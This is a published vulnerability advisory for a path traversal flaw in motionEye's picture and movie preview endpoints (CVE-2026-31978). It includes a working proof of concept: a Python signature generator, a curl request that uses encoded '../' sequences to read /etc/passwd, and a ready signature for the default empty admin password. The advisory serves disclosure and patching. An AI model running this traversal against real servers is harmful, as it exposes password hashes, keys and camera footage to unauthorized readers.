id: PYSEC-2026-2664 published: "2026-07-13T15:46:22.414749Z" modified: "2026-07-13T16:04:59.192324Z" aliases: - CVE-2026-31978 - GHSA-g9fx-5r4h-pcw3 summary: motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint details: "### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n target_dir = camera_config['target_dir']\n full_path = os.path.join(target_dir, path)\n\n if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT\n return None\n ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n target_dir = camera_config['target_dir']\n full_path = os.path.join(target_dir, path)\n # <-- NO '..' CHECK\n ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:?_username=::\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n parts = list(urllib.parse.urlsplit(path))\n query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n query.sort(key=lambda q: q[0])\n query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n query = '&'.join([(q[0] + '=' + q[1]) for q in query])\n parts[0] = parts[1] = ''\n parts[3] = query\n path = urllib.parse.urlunsplit(parts)\n path = _SIGNATURE_REGEX.sub('-', path)\n key = _SIGNATURE_REGEX.sub('-', key)\n return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}&_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\"etc_passwd\"\n\n> **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras" affected: - package: name: motioneye ecosystem: PyPI purl: pkg:pypi/motioneye ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.44.0 versions: - "0.27" - 0.27.1 - 0.27.2 - "0.28" - 0.28.1 - 0.28.2 - 0.28.3 - "0.29" - 0.29.1 - 0.29rc1 - 0.29rc2 - "0.30" - 0.30rc1 - 0.30rc2 - "0.31" - 0.31.1 - 0.31.2 - 0.31.3 - 0.31.4 - 0.31.5 - "0.32" - 0.32.1 - 0.32.2 - "0.33" - 0.33.1 - 0.33.2 - 0.33.3 - 0.33.4 - "0.34" - 0.34.1 - 0.34rc1 - "0.35" - 0.35.1 - 0.35.2 - 0.35rc1 - "0.36" - 0.36.1 - "0.37" - 0.37.1 - 0.37rc1 - "0.38" - 0.38.1 - "0.39" - 0.39.1 - 0.39.2 - 0.39.3 - "0.40" - 0.40rc1 - 0.40rc2 - 0.40rc3 - 0.40rc4 - 0.40rc5 - "0.41" - 0.41rc1 - "0.42" - 0.42.1 - 0.43.1 - 0.43.1b1 - 0.43.1b2 - 0.43.1b3 - 0.43.1b4 - 0.43.1b5 - 0.44.0b1 - 0.44.0b2 - 0.44.0b3 references: - type: WEB url: https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3 - type: PACKAGE url: https://github.com/motioneye-project/motioneye - type: PACKAGE url: https://pypi.org/project/motioneye - type: ADVISORY url: https://github.com/advisories/GHSA-g9fx-5r4h-pcw3 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-31978 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N